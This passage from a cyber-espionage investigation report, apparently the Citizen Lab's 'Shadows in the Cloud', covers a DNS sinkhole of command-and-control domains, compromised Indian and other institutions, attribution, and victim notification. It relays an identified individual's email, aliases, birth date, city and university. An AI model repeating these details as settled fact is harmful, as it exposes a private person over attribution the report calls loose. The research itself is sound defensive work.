located in India. However, we were only able to identify two of the compromised entities:
 Embassy of India, United States
 Embassy of Pakistan, United States
4.1.1 Sinkhole
A DNS sinkhole server is a system that is designed to take requests from a botnet or infected systems and record
the incoming information. The sinkhole server is not under the control of the malware authors and can be used
to gain an understanding of a botnet
s operation. There are a few different techiques that are used to sinkhole
botnet traffic. The easiest method is to simply register an expired domain that was previously used to control
victim systems. Being able to do this generally indicates the botnet operator has lost control of the domain, forgotten to renew it, or that the botnet has been abandoned. Another method focuses on reverse-engineering the
malware to determine if it has 
fail over
 command and control servers or special methods to compute future
domains. This may require that a domain name generation algorithm be discovered and that one must register
the domain names before the attacker does (Stone-Gross et al. 2009).
During the GhostNet investigation we found that a computer at the OHHDL was compromised by both the
GhostNet and what we are now calling the Shadow network. We had a list of serveral domains that were
expiring that we had linked to attacks against OHHDL. We were able to register several of these domain names
in order to gather information about the network
s command and control infrastructure, communication methods,
JR03-2010 Shadows in the Cloud - PART 4: TARGETS & EFFECTS
and victim systems. We were able to register and monitor four of the domain names mentioned in Tracking
GhostNet. In addition, we were able to register several others which we linked to the Shadow network along
with one, www.assam2008.net, which we believe to be yet another separate, but possibly affiliated, network.
www.assam2008.net
www.msnxy.net
www.sysroots.net
www.womanld.com
www.womannana.com
www.lookbyturns.com
www.macfeeresponse.com
www.macfeeresponse.org
We were able to observe the file paths associated with malware that were requested by compromised computers. In total, we found that during this period 6,902 unique IPs requested paths associated with the malware
that used these hosts as command and control servers. However, counting the number of infected hosts purely
by IP addresses is problematic. In fact, botnets are generally much smaller than the total sum of unique IP
addresses would suggest (Stone-Gross et al. 2009; Rajab et al. 2007). This network, which is focused on stealing
documents from specific targets, is expected to be small in size.
Figure 5:
Relationship between the DNS Sinkhole and Live Command and Control Servers
This Palantir screen shot captures the relationship between the domain names in our sinkhole (green), the web servers they were formerly hosted on (red) and
the Shadow network
s active domain names (blue).
JR03-2010 Shadows in the Cloud - PART 4: TARGETS & EFFECTS
What is more notable is the distribution of compromised computers across countries.
Figure 6:
Locations of Compromised Computers in our Sinkhole
From the recovered IP addresses we were able to identify the following entities of interest:
Honeywell, United States
New York University, United States
University of Western Ontario, Canada
High Commission of India, United Kingdom
Vytautas Magnus University, Lithuania
Kaunas University of Technology, Lithuania
National Informatics Centre, India
New Delhi Railway station (*railnet.gov.in), India
Times of India, India
Petro IT, (reserved123.petroitg.com), India
Federation of Indian Chambers of Commerce and Industry, India
Commission for Science and Technology for Sustainable Development in the South, Pakistan
JR03-2010 Shadows in the Cloud - PART 4: TARGETS & EFFECTS
Victim Analysis on the Basis of
Recovered Documents
In total we recovered data from 44 compromised computers. The documents recovered from the OHHDL were
reconstructed from captured network traffic, while the remainder were retrieved from an open directory on
one command and control server. Only seven of the remaining 43 compromised computers (not counting the
OHHDL computer) for which we were able to recover exfiltrated data also checked in with the same control
server. Therefore we can only identify the IP addresses of these seven computers. Five of these seven computers
have IP addresses that are assigned to India, while the remaining two are assigned to Thailand and the PRC. As
noted below, the Chinese IP address represents the attacks on IP addresses along with two test (junk) text files
that appear to have been used for testing the malware.
We determined the country and entity from which the documents were exfiltrated based on the content of the
documents themselves in cases where we did not obtain an IP address. In addition, we assigned two country
codes to the compromised computers: one country code indicates the physical (IP) country in which the computer is located, and the second country code indicates the country of ownership. Thus a compromised computer at a foreign embassy would be assigned a country code based on its geographical region, and a second
based on the home country to which the foreign mission belongs.
Based on geographic location, the vast majority are in India.
Figure 7:
Locations of Compromised Computers from which Documents were Exfiltrated
JR03-2010 Shadows in the Cloud - PART 4: TARGETS & EFFECTS
Based on the country of ownership, the results show an even higher number for India.
Figure 8:
Locations of Ownership of Exfiltrated Documents
JR03-2010 Shadows in the Cloud - PART 4: TARGETS & EFFECTS
Geographic Victim Distribution
Figure 9:
Geographic distribution of compromised hosts
This screen capture of Palantir
s heatmap application demonstrates the concentrations of (non-unique) IP addresses of compromised hosts. The largest
concentration (red) is in India.
4.3.1 Targets
Diplomatic Missions and Government Entities
Diplomatic missions and government entities exchange sensitive information, which sometimes finds its
way onto unclassified systems. During our investigation, we recovered documents that are extremely sensitive from a national security perspective as well as documents that contain sensitive information that could
be exploited by an adversary for intelligence purposes. We recovered one document that appears to be an
encrypted diplomatic correspondence, two documents classified as 
SECRET
, six as 
RESTRICTED
, and five
CONFIDENTIAL
. These documents contain sensitive information taken from a member of the National
Security Council Secretariat concerning secret assessments of India
s security situation in the states of Assam,
Manipur, Nagaland and Tripura, as well as concerning the Naxalites and Maoists. In addition, they contain
confidential information taken from Indian embassies regarding India
s international relations with and assessments of activities in West Africa, Russia/Commonwealth of Independent States and the Middle East, as well as
visa applications, passport office circulars and diplomatic correspondence. The attackers also exfiltrated detailed
JR03-2010 Shadows in the Cloud - PART 4: TARGETS & EFFECTS
personal information regarding a member of the Directorate General of Military Intelligence. These compromises
and the character of the data exfiltrated extends to non-governmental targets as well. Some of the academics
and journalists that were compromised were interested in and regularly reporting on sensitive topics such as
Jammu and Kashmir.
National Security and Defence
During our investigations we suspected that a variety of military computers had been compromised as well as
the computers of defence-oriented academics and journals. While none of the information obtained was classified, the documents we recovered reveal information regarding sensitive topics. Although there is public information available on these miltary projects, it indicates that the attackers managed to compromise the right set
of individuals that may have knowledge of these systems that is not publicly known. We recovered documents
and presentations relating to the following projects:
 Pechora Missile System - an anti-aircraft surface-to-air missile system.
 Iron Dome Missile System - a mobile missile defence system (Ratzlav-Katz 2010).
 Project Shakti - an artillery combat command and control system (Frontier India 2009).
We also found that documents relating to network centricity (SP
s Land Forces 2008) and network-centric
warfare had been exfiltrated, along with documents detailing plans for intelligence fusion and technologies for
monitoring and analysing network data (Defence Research and Development Organisation 2009).
Academics/Journalists focused on the PRC
During our investigations we found that a variety of academic targets had been compromised, including those at
the Institute for Defence Studies and Analyses (IDSA) as well as journalists at India Strategic defence magazine
and FORCE magazine. The exfiltrated papers included those discussing the containment of the PRC, Chinese
military exports, and Chinese foreign policy on Taiwan and Sino-Indian relations. More specifically, there were
documents that focused on ethnicity, religion and politics in Central Asia, and the links between armed groups
and the PRC. Although the academic papers exfiltrated by the attackers are publicly available, the content of the
material indicates that the attackers managed to compromise those with a keen interest in the PRC.
4.3.2 Affected Institutions
During our investigations we found that a variety of personal information belonging to individuals had been
compromised. This included various lists of contacts along with their personal details that could be used by the
attackers. It also included information about travel, including air and rail tickets, receipts, invoices and other
billing information. In addition we found personal banking information, scans of identification documents,
job (and other) applications, legal documents and information about ongoing court cases. The attackers also
exfiltrated personal email communications. All of this information can be leveraged for future attacks, especially
attacks against those within the compromised individual
s social network.
 National Security Council Secretariat, India
The National Security Council Secretariat (NSCS) of India is comprised of the Joint Intelligence Committee
and is a component of the National Security Council established in 1998 along with a Strategic Policy
Group and an Advisory Board. The National Security Council is headed by the Prime Minister of India and
is responsible for strategic planning in the area of national security (Subrahmanyam 2010; Indian Embassy
1998). We assess that a computer at the NSCS was compromised based on the documents exfiltrated by the
attackers. During the period in which we monitored the attackers, fourteen documents, including two documents marked 
SECRET,
 were exfiltrated. In addition to documents containing the personal and financial
JR03-2010 Shadows in the Cloud - PART 4: TARGETS & EFFECTS
information of what appears to be the compromised individual, the exfiltrated documents focus on India
security situation in the states of Assam, Manipur, Nagaland and Tripura as well as the Naxalites, Maoists,
and what is referred to as 
left wing extremism.
 Diplomatic Missions, India
India maintains numerous diplomatic missions abroad that provide consular services relating to passports
and visas as well as faciltaing trade, commerce and engaging in diplomatic relations (Indian government
2010). We assess that computers at the Embassy of India, Kabul, the Embassy of India, Moscow, the
Consulate General of India, Dubai, and the High Commission of India in Abuja, Nigeria were compromised
based on the documents exfiltrated by the attackers. During the period in which we monitored the attackers,
99 documents, including what appears to be one encrypted diplomatic correspondence as well as five documents marked 
RESTRICTED
 and four documents marked 
CONFIDENTIAL,
 were exfiltrated. In addition
to documents containing personal, financial, and travel information on embassy and diplomatic staff, the
exfiltrated documents included numerous visa applications, passport office circulars, and country assessments and reports. Confidential visa applications from citizens of Afghanistan, Australia, Canada, the PRC,
Croatia, Denmark, Germany, India, Ireland, Italy, New Zealand, Philippines, Senegal, Switzerland, Uganda,
and the United Kingdom were among the exfiltrated documents.
 Military Engineer Services, India
The Military Engineer Services (MES) is a government construction agency that provides services to the
Indian Army, Navy and Air Force. In addition, the MES services the government sector and civil works projects.
We assess that computers at the MES-Bengdubi, MES-Kolkata, MES(AF)-Bangalore, and MES-Jalandhar were
compromised based on the documents exfiltrated by the attackers. During the period in which we monitored
the attackers, 78 documents were exfiltrated. While these documents included manuals and forms that would
not be considered sensitive, they also included documents that contained private information on personnel,
and documents and presentations concerning the financing and scheduling of specific engineering projects.
 Military Personnel, India
We assess that computers linked with the 21 Mountain Artillery Brigade in the state of Assam, the Air Force
Station, Race Course, New Delhi and the Air Force Station, Darjipura Vadodara, Gujarat were compromised
based on the documents exfiltrated by the attackers. During the period in which we monitored the attackers,
sixteen documents were exfiltrated. One document contained personal information on Saikorian alumni of
the Sainik School, Korukonda, which prepares students for entry into the National Defence Academy. One
document is a detailed briefing on a live fire exercise while others pertain to surface-to-air missile systems
and moving target indicators.
 Military Educational Institutions, India
We assess that computers at the Army Institute of Technology in Pune, Maharashtra and the Military College
of Electronics and Mechanical Engineering in Secunderabad, Andhra Pradesh were compromised based on
the documents exfiltrated by the attackers. During the period in which we monitored the attackers, twentyone documents, including one marked 
RESTRICTED
, were exfiltrated. There are documents and presentations detailing the finances of one of the institutions as well as personal and private information on students
and their travel. There is also a document that describes 
Project Shakti,
 the Indian Army
s command and
control system for artillery (India Defence 2007).
 Institute for Defence Studies and Analyses, India
We assess that computers at the Institute for Defence Studies and Analyses (IDSA) were compromised based
on the documents exfiltrated by the attackers. During the period in which we monitored the attackers, 187
documents were exfiltrated. While many of the documents were published papers from a variety of academic
sources, there were internal documents, such as an overview of the IDSA research agenda, minutes of
JR03-2010 Shadows in the Cloud - PART 4: TARGETS & EFFECTS
meetings for the Journal of Defence Studies, budgets and information on a variety of speakers, visitors, and
conference participants.
 Defence-oriented publications, India
We assess that computers at the India Strategic defence magazine and FORCE magazine were compromised
based on the documents exfiltrated by the attackers. During the period in which we monitored the attackers,
58 documents were exfiltrated. While these documents include publicly accessible articles and previous
drafts of those articles, there is also private information regarding the contact details of subscribers and conference participants. The documents also include interviews, documents, and PowerPoint presentations from
conferences that detail national security topics, such as network data and monitoring for national security,
and responses to combat cyber threats.
 Corporations, India
We assess that computers at YKK India Private Limited, DLF Limited, and TATA were compromised based
on the documents exfiltrated by the attackers. During the period in which we monitored the attackers, five
documents were exfiltrated. These documents include rules overseeing busiiness travel, a presentation on
roadmap and financial status, and an annual plan for a business partnership.
 Maritime, India
We assess that computers at the National Maritime Foundation and the Gujarat Chemical Port Terminal
Company Limited were compromised based on the documents exfiltrated by the attackers. During the period
in which we monitored the attackers, 53 documents were exfiltrated. These documents include a summary
of a seminar as well as numerous documents relating to specific shipping schedules, financial matters and
personal medical information.
 United Nations
The United Nations Economic and Social Commission for Asia and the Pacific (UNESCAP) is based in
Thailand and facilitates development in the Asia-Pacific region. We assess that a computer at UNESCAP has
been compromised based on the documents exfiltrated by the attackers. In addition to information concerning a variety of conferences and presentations, there were also internal Mission Report documents regarding
travel and events in the region.
PART 5:
Tackling Cyber Espionage
JR03-2010 Shadows in the Cloud - PART 5: TACKLING CYBER ESPIONAGE
5.1 Attribution and Cyber Crime / Cyber Espionage
During this investigation we collected malware samples used by the attackers, which were primarily PDFs that
exploited vulnerabilities in Adobe Acrobat and Adobe Reader. In addition, we collected malware used by the attackers after successfully compromising a targeted system as well as network traffic captured from the OHHDL.
We were able to map out the command and control infrastructure of the attackers and in several cases view
data that allowed us to identify targets that had been compromised and recover exfiltrated documents. We did
not have access to data regarding specific attacks on any of the targets we have identified. In other words, we
cannot definitely tell how any one individual target was compromised. And, more importantly, we do not have
data regarding the behaviour of the attackers once inside the target
s network.
However, we do have two key pieces of information: the first is an email address used in a document in the
attackers
 possession that provided steps on how the attackers could use Yahoo! Mail as a command and control
server; the second is the IP addresses used by the attackers to send emails from Yahoo! Mail accounts used as
command and control servers.
Email addresses used by the attackers have proven to provide critical clues in past investigations. Following the
release of the GhostNet investigation, The Dark Visitor 
 a blog that researches Chinese hacking activities 
investigated one of the email addresses we published that was used to register the domain names the attackers
utilized as command and control servers. While these were not GhostNet domain names, one of them is the
same as one used by the attackers in this investigation: lookbytheway.net (Henderson 2009a).
The email address used to register lookbytheway.net is losttemp33@hotmail.com. The Dark Visitor found
forum posts made by losttemp33@hotmail.com, who also used the alias 
lost33.
 Further searching revealed 
individual who was associated with Xfocus, Isbase,
 two popular Chinese hacking forums, and 
seems to have
studied under Glacier
 (Henderson 2009b). Glacier is known as 
Godfather of the Chinese Trojan
 (Henderson
2007a), and an association with him indicates lost33
s connections to the hacking underground in the PRC. Using
information found on lost33
s blog, The Dark Visitor was able to find another blog used by lost33, now operating
under the alias 
damnfootman
, and had a text chat conversation with him on the Chinese instant messenger
service QQ, where the individual admitted to being the owner of the email address losttemp33@hotmail.com.
From this information, The Dark Visitor was able to determine this individual has connections to the forums of
Xfocus and Isbase (the Green Army), NSfocus and Eviloctal, as well as connections to the hackers Glacier and
Sunwear. He was born on July 24, 1982, lives in Chengdu, Sichuan, and attended the University of Electronic
Science and Technology of China, which is also located in Chengdu.
Our investigation also indicated strong links to Chengdu, Sichuan. The attacker used Yahoo! Mail accounts as command and control servers, from which the attacker sent emails containing new malware to the already compromised
targets. All of the IP addresses the attacker used when sending these emails are located in Chengdu, Sichuan.
We were able to retrieve a document from the attackers that indicated the steps neccessary to use Yahoo! Mail
accounts as command and control servers. There was also an account used by the attackers in this document
for testing purposes. Searches for this email address returned several advertisements for apartment rentals in
Chengdu, Sichuan.
JR03-2010 Shadows in the Cloud - PART 5: TACKLING CYBER ESPIONAGE
The infrastructure of this particular network is tied to individuals in Chengdu, Sichuan. At least one of these individuals has ties to the underground hacking community in the PRC and to the University of Electronic Science
and Technology of China in Chengdu. Interestingly, when the Honker Union of China, one of the largest hacking groups in the PRC, was re-established in 2005, its new leader was a student at the University of Electronic
Science and Technology in Chengdu. Chengdu is also the location of one of the People
s Liberation Army
(PLA)
s technical reconnaissance bureaus tasked with signals intelligence collection. While it would be disingenuous to ignore these correlations entirely, they are loose at best and certainly do not meet the requirements
of determining motivation and attribution. However, the links between the command and control infrastructure
and individuals in the PRC provide a variety of scenarios that point toward attribution.
5.1.2 Patriotic Hacking
The PRC has a vibrant hacker community that has been tied to targeted attacks in the past, and has been linked
through informal channels to elements of the Chinese state, although the nature and extent of the connections
remains unclear. One common theme regarding attribution relating to attacks emerging from the PRC concerns
variations of a privateering model, in which the state authorizes private persons to perform attacks against
enemies of the state. This model emerged because studies have shown that there is no direct government control over the loosely connected groups of hackers in the PRC (Henderson 2007b). Even within the privateering
approach there is much dispute regarding the exact relationship. The degrees of the reported relationship vary
between 
authorize
 to 
tacit consent
 to 
tolerate
 (Henderson 2007b).
However, this ambiguous relationship does not mean that there is no connection between the activities of
Chinese hackers and the state. The PRC
s intelligence collection is based on the gathering of bits of information
across a broad range of sources:
China relies on a broad informal network of students, tourists, teachers, and foreign workers inside of
host nations to collect small bits of information to form a composite picture of the environment. Rather
than set a targeted goal for collection, they instead rely on sheer weight of information to form a clear
understanding of the situation. (Henderson 2007b)
As a result, information that is independently obtained by the Chinese hacker community is likely to find its
way to elements within the Chinese state. However, the Chinese state is not monolithic. It is a complex entity
that includes cooperation and competition amoung a variety of entities, including the Communist Party, the PLA
and the Government of China. In addition, within each of those entities there are factions and rivalries. Further
complicating matters is that there are reported relationships between the edges of the government and networks
of organized crime in the PRC, as in many other countries (Bakken 2005; Keith and Lin 2005). These complex
relationships further complicate our understanding of the connections between the Chinese hacker community
and the Chinese state.
While the PLA is developing computer network operations (CNO), as are the armed forces of a wide variety of
countries, its relationship with the hacker community appears to be minimal, as a recent study reports:
Little evidence exists in open sources to establish firm ties between the PLA and China
s hacker community,
however, research did uncover limited cases of apparent collaboration between more elite individual
hackers and the PRC
s civilian security services. The caveat to this is that amplifying details are extremely
limited and these relationships are difficult to corroborate. (Northrop Grumman 2009)
JR03-2010 Shadows in the Cloud - PART 5: TACKLING CYBER ESPIONAGE
Moreover, the same study found that there is nothing that 
suggests that the PLA or state security bureaus intend
to use hacktivist attacks as a component of a CNO campaign
 (Northrop Grumman 2009). In addition, there are
a variety of factors, such as the lack of command and control, precision targeting and the inability to maintain
surprise and deception, that argue against the use of non-state hackers as part of the PLA
s CNO strategy.
In fact, the relations between the hacker community and the state is more likely to be a concern of the Ministry
of Public Security (Northrop Grumman 2009; Henderson 2007b). Interestingly, the Ministry of Public Security
has focused primarily on internal security matters, which links with the emphasis on the Tibet-related targets
documented in this report. (the PRC views Tibet as an internal problem.)
5.2.2 Cyber Crime
The activity of cyber criminals in the PRC parallels the activities of cyber criminals around the globe. The
Chinese hacker community has been known to engage in criminal activities, primarily motivated by profit.
Acting independently of state direction, they are involved in the buying and selling of malware, theft of intellectual
property, theft of gaming credentials, fraud, blackmail, music and video piracy, and pornography (Henderson
2007b). This activity is complex and further obfuscated by the move of Eastern European-based criminal
networks into Chinese cyberspace (Vass 2007). Researchers have identified several core components of the
cyber crime ecosystem in the PRC:
 Malware Authors 
 motivated by profit and/or stature within the blackhat community, malware authors leverage their technical skills to create and distribute exploits (including 0day vulnerabilities) as well as trojan
horse programs. Their services are often advertised on discussion forums.
 Website Masters/Crackers 
 by maintaining malicious websites, exploiting vulnerable websites and providing hosting for the command and control capabilities of trojans, the website masters/crackers provide the
infrastructure for cybercrime in the PRC
Envelopes
 Stealers 
 focus on acquiring username and password pairs, known as envelopes, through the
use of malware kits, which are then sold. They operate and maintain networks of infected computers but
purchase services from malware authors and website masters/crackers to compensate for their general lack
of technical skill.
 Virtual Asset Stealers/Sellers 
 by exploiting their knowledge of the underground economy, virtual asset
stealers/sellers purchase compromised credentials from envelopes stealers and sell virtual assets to online
games players, QQ users and others who drive the demand for stolen virtual goods (Choo 2008; Thibodeau
2010; Zhuge et al. 2009).
In additional to politically sensitive information, we did find that personal information, including banking
information, was exfiltrated by the attackers. It is possible that in addition to exploiting the politically sensitive
information the attacks may have also had an interest in exploiting the financial data that was stolen although
we have no direct knowledge of such events occurring.
5.2.3 Overall Assessment
Attribution concerning cyber espionage networks is a complex task, given the inherently obscure modus
operandi of the agents or groups under investigation. Cyber criminals aim to mask their identities, and
the networks investigated in this report are dispersed across multiple platforms and national jurisdictions.
Complicating matters further is the politicization of attribution questions, particularly concerning Chinese inten-
JR03-2010 Shadows in the Cloud - PART 5: TACKLING CYBER ESPIONAGE
tions around information warfare. Clearly this investigation and our analysis tracks back directly to the PRC,
and to known entities within the criminal underground of the PRC. There is also an obvious correlation to be
drawn between the victims, the nature of the documents stolen, and the strategic interests of the Chinese state.
But correlations do not equal causation. It is certainly possible that the attackers were directed in some manner
 either by sub-contract or privateering 
 by agents of the Chinese state, but we have no evidence to prove
that assertion. It is also possible that the agents behind the Shadow network are operating for motives other
than political espionage, as our investigation and analysis only uncovered a slice of what is undoubtedly
a larger set of networks. Even more remote, but still at least within the realm of possibility, is the false flag
scenario, that another government altogether is masking a political espionage operation to appear as if it is
coming from within the PRC.
Drawing these different scenarios and alternative explanations together, the most plausible explanation, and the
one supported by the evidence, is that the Shadow network is based out of the PRC by one or more individuals
with strong connections to the Chinese criminal underground. Given the often murky relationships that can exist
between this underground and elements of the state, the information collected by the Shadow network may end
up in the possession of some entity of the Chinese government.
5.3 Notification
Investigations of malware activity, such as that undertaken as part of the Shadow and GhostNet investigations,
can yield information about the network infrastructure of the attackers, information about those who have been
compromised, and confidential or private documents or other data that may have been exfiltrated without prior
knowledge. Access to this information on all levels raises a number of practical, ethical and legal issues, many
of which are unclear given the embryonic nature of the field of inquiry as a whole.
Throughout this investigation, we have been conscious of these issues and have attempted to meet a professional standard in terms of planning and documenting our steps taken in the process of notification. This
entailed research into existing practices and principles, and engagement with the law enforcement, intelligence
and security communities in a number of countries. We were also conscious of the need to comply with the domestic laws in whose context this investigation was undertaken 
 namely those of India, the United States and
Canada 
 as well as principles governing all academic research at the University of Toronto, where the Citizen
Lab is located.
Notification itself can be broken down into several categories, each of which entails complicating factors.
First, there is notification that is required to takedown the command and control infrastructure, typically to the
hosting and service provider companies through which the malware networks operate and on which they are
hosted. Complicating matters, these services can be located in numerous national jurisdictions and subject to a
variety of privacy laws and norms. Second, there are issues around notification of victims, such as governments,
businesses, NGOs and individuals. This type of notification is perhaps the most challenging on ethical, practical
and legal grounds. Notification of governments, for example, can be a very sensitive matter, especially if classified documents are involved or information is retrieved that is relevant to national security concerns. The same
holds true of notification to individuals or businesses. At what point should a researcher notify a victim? Who
within the organization, whether it is a government, a business or an NGO, is the appropriate point of contact
for the notification? What if the notification jeopardizes a third party
s security, or leads to some kind of retaliation or retribution? Should researchers notify law enforcement and intelligence agencies in their own countries
before reaching out to foreign governments?
JR03-2010 Shadows in the Cloud - PART 5: TACKLING CYBER ESPIONAGE
Existing practices in this area are underdeveloped and largely informal. In part, this reflects the fact that global
cyber security is still an embryonic field. But it also speaks to the very real problem of competitive power
politics at the highest levels of national security, which tend to restrict information sharing in sensitive areas
around cyber crime and espionage. Generally speaking, information sharing among law enforcement and intelligence agencies across borders is tentative at best, with the exception of that which occurs among close allies
with deeply entrenched and long-standing links. Outside of those security communities, notification of services
and governments tends to be restricted to specialist technical communities, telecommunications operators, and
network administrators, if it occurs at all. Consequently, notification of the types referred to above can be ad
hoc and inconsistent, largely contingent on the informal connections among professional communities.
All of these issues were grappled with in the aftermath of the Tracking GhostNet report, and throughout the
course of the Shadow investigation. Our experiences in the aftermath of GhostNet, where notification was left
incomplete, prompted a more deliberate and self-conscious approach with the Shadow investigation. We were
also fortunate to have within our collaboration the experiences of the Shadowserver Foundation, whose counsel
on notification helped in making decisions about timing and contacts.
By the end of November 2009, we were confident in our access to the basic command and control infrastructure
and identification of some of the key documents at hand. Upon the realization that some information about
individual Canadians was compromised, we notified Canadian authorities in December 2009 about the investigation, the compromise of Canadian-related information, and requested assistance on outreach with one of the
victims, namely the Indian government. At the same time, we independently explored whom we might contact
in the Indian government, including making inquiries with Canada
s Department of Foreign Affairs. By February
2010, we were able to find on our own what we thought was an appropriate contact in the Indian government, and
gave a detailed notification to the National Technology Research Organization. Our notification for takedown of
the command and control infrastructure came later in the investigation, after we had collected and analyzed all
of the information related to this report, but prior to its release.
Our experiences illustrate the intricate, nuanced and often confusing landscape of global cyber security notification practices. The notification process will continue after the publication of this report.
PART 6:
Conclusions
JR03-2010 Shadows in the Cloud - PART 6: CONCLUSIONS
Shadows in the Cloud points to a disturbing complex ecosystem of malware. Although malware networks,
cyber crime and espionage have been around for years, the evidence presented here shows how these networks
can be aggressively adaptive systems, multipying and regenerating across multiple vectors and platforms, and
exploting the vulnerabilties within the latest Web 2.0 technologies to expand their reach and impact. Although
there is rich detail to what is uncovered in the Shadow investigation, so much of the origins, architecture and
aims of these networks ultimately remain a mystery and await further investigation and analysis. However, even
with the partial insights and fleeting glimpses acquired here, we can draw some conclusions and implications
for further research, policy and operations.
First, the research here shows, as with Tracking GhostNet, how even a relatively small research sample 
this case Tibetan organizations 
 can expand, upon investigation and analysis, into an astonishingly large pool
of victims. The connections drawn out here beg the question of what would emerge if the research began with a
different group, from a different region of the world, with a different target set of compromised actors? Clearly,
an area of methodological advantage for both the Tracking GhostNet and the Shadows in the Cloud investigations was to have access in the field to compromised computers and be able to work outwards in a structured
and systematic fashion, using a combination of technical investigations and data analysis. An area of further
research is to extend such efforts to other locations in other regions of the world. Such investigations may reveal
other malware networks, or entirely new and unanticipated modes of crime and espionage.
Second, Shadows in the Cloud underscores the extent to which the global networked society into which we
have evolved socially, politically, economically, and militarily carries with it an underground ecoystem that is
equally networked, though far less visible to those whom it compromises. Governments, organizations and
other actors around the world have been quick to adopt computerized public and administration systems,
including state security actors. Their investments into these technologies have developed at a much faster rate
than the appropriate security policies and practices (Deibert and Rohozinski 2010).
Although the Government of India was the most victimized according to what we uncovered in Shadows in the
Cloud 
 and that certainly should yield a major consideration of public policy and security for that country 
observations about India in this respect need to be qualified in at least two ways. First, Shadows in the Cloud
reports only on observations and existing evidence, which by definition remain partial. There could be other
countries victimized, involving these very same malware networks attackers, but of which we are unaware
because of our limited samples. Second, and most importantly, there are numerous other countries and international organizations that are targeted here, perhaps not to the same extent, but targeted and infiltrated nonetheless. We can only infer what type of data was exfiltrated from these other actors that is of strategic value.
Overall, however, the key point to draw is that networked societies can be compromised through networks in
which they are invariably linked and mutually dependent.
Third, and related, Shadows in the Cloud demonstrates clearly the potential for collateral compromise, one
of the key hypotheses informing our research framework. This investigation indicates that data leakage from
malware networks can compromise unwitting third parties who are not initially targeted by the attackers. Data
contained on compromised machines can also contain valuable information on third parties that while on
its own may not be significant, but when pieced together with other information can provide actionable and
operational intelligence. The policy and operational implications of collateral compromise are serious and wideranging, and reinforce that security is only as strong as the weakest link in a chain. In today
s networked world,
such chains are complex, overlapping and dispersed across numerous technological platforms crossing multiple
JR03-2010 Shadows in the Cloud - PART 6: CONCLUSIONS
national jurisdictions. Paying attention to domestic cyber security is therefore only a partial solution to a much
wider problem. Today, no country or organization is a secure island in the global sea of information.
Fourth, another implication raised by Shadows in the Cloud is for criminal networks to be repurposed for political
espionage as part of an evolution in signals intelligence. Although our conclusions are necessarily circumscribed
by our lack of complete information in this respect, we may be seeing a blurring of the lines in malware genotypes among crimeware and more politically-motivated attacks. Part of that blurring may be deliberate on the
part of actors wishing to obscure attribution, but part of it may also be a newly emerging and largely organic
market for espionage products that was either contained or nonexistent in the past, and which now supplements the market for industrial espionage. This market may present opportunities for actors that, in turn, produce a refinement in their approach or methodology. Criminal actors may troll for targets widely as a first cut,
triaging among the available sources of information to zero-in on those that yield commercial value on both the
industrial and political espionage markets. Such a development would pose major policy and operational issues,
and accelerate existing trends down the road of cyber privateering.
Finally, a major implication of the findings of Shadows in the Cloud relates to the evolution towards cloud
computing, social networking and peer-to-peer networking technologies that characterize much of the global
networked society today. These new modes of information storage and communication carry with them many
conveniences and so now are fully integrated into personal life, business, government and social organization.
But as shown in the Shadow investigation, these new platforms are also being used as vectors of malware
propagation and command and control (Office of Privacy Commissioner of Canada 2010).
It is often said that dark clouds carry with them silver linings, but in this case the clouds contain within them
a dark hidden core. As we document above, blog hosting sites, social networking forums and mail groups were
turned into support structures and command and control systems for a malignant enterprise. The very same
characteristics of those social networking and cloud platforms which make them so attractive to the legitimate
user 
 reliability, distribution, redundancy and so forth 
 were what attracted our attackers to them in setting
up their network. Clouds provide criminals and espionage networks with convenient cover, tiered defences,
redundancy, cheap hosting and conveniently distributed command and control architectures. They also provide
a stealthy and very powerful mode of infiltrating targets who have become accustomed to clicking on links and
opening PDFs and other documents as naturally as opening an office door. What is required now is a much
greater reflection on what it will take, in terms of personal computing, corporate responsibility and government
policy, to acculturate a greater sensibility around cloud security.
JR03-2010 Shadows in the Cloud - BIBLIOGRAPHY & SUGGESTED READINGS
Bibliography
Adair, Steven. January 19, 2010. 
Cyber Espionage: Death by 1000 Cuts,
 Shadowserver Foundation,
http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20100119 (accessed April 1, 2010).
Bakken, B
rge, ed. 2005. Crime, Punishment, and Policing in China. Lanham, MD: Rowman & Littlefield.
Bejtlich, Richard. January 22, 2010. 
Attribution Using 20 Characteristics,
 TaoSecurity,
http://taosecurity.blogspot.com/2010/01/attribution-using-20-characteristics.html (accessed April 1, 2010).
Burstein, Aaron J. 2008. 
Conducting Cybersecurity Research Legally and Ethically,
 LEET 2008, San Francisco, CA,
http://www.usenix.org/event/leet08/tech/full_papers/burstein/burstein_html/ (accessed April 1, 2010).
Curle, Adam. 1949. 
A Theoretical Approach to Action Research,
 Human Relations, 2:3, 269-280.
Choo, Kim-Kwang Raymond, 2008. 
Organised Crime Groups in Cyberspace: A Typology,
 Trends in Organized Crime, 11:3, 270-295.
Cloppert, Mike. October 14, 2009. 
Security Intelligence: Attacking the Kill Chain,
 SANS Computer Forensics Investigations and
Incident Response Blog, http://blogs.sans.org/computer-forensics/2009/10/14/security-intelligence-attacking-the-kill-chain/ (accessed
April 1, 2010).
Cooke, Evan., Farnam Jahanian, Danny McPherson. 2005. 
The Zombie Roundup: Understanding, Detecting, and Disrupting Botnets,
USENIX, SRUTI 2005, Cambridge, MA, http://www.usenix.org/event/sruti05/tech/cooke.html (accessed April 1, 2010).
Dagon, David, Cliff Zou, and Wenke Lee. 2006. 
Modeling Botnet Propagation Using Time Zones,
 NDSS 2006, San Diego CA,
http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.128.8689&rep=rep1&type=pdf (accessed April 1, 2010).
Defence Research and Development Organisation. February 1, 2009. 
Tactical command, control, communication, computer and
intelligence.
 Bulletin, http://www.drdo.org/pub/techfocus/2009/feb09.pdf (accessed April 1, 2010).
Deibert, Ronald, and Rafal Rohozinski. 2010. 
Risking Security: The policies and paradoxes of cyberspace security,
 International
Political Sociology, 4:1, 15-32.
Deloitte & Touche LLP, 2010. Cyber Crime: A Clear and Present Danger Combating the Fastest Growing Cyber Security Threat,
http://www.deloitte.com/assets/Dcom-UnitedStates/Local%20Assets/Documents/AERS/us_aers_Deloitte%20Cyber%20Crime%20
POV%20Jan252010.pdf (accessed April 1, 2010).
F-Secure. 2010. 
PDF Based Targeted Attacks are Increasing,
 http://www.f-secure.com/weblog/archives/00001903.html
(accessed April 1, 2010).
Frontier India. June 12, 2009. 
Artillery Combat Command and Control System SHAKTI dedication to Indian Army.
http://frontierindia.net/artilery-combat-command-and-control-system-shakti-dedication-to-indian-army (accessed April 1, 2010).
Henderson, Scott. 2009a. 
CasperNet Gets Punked,
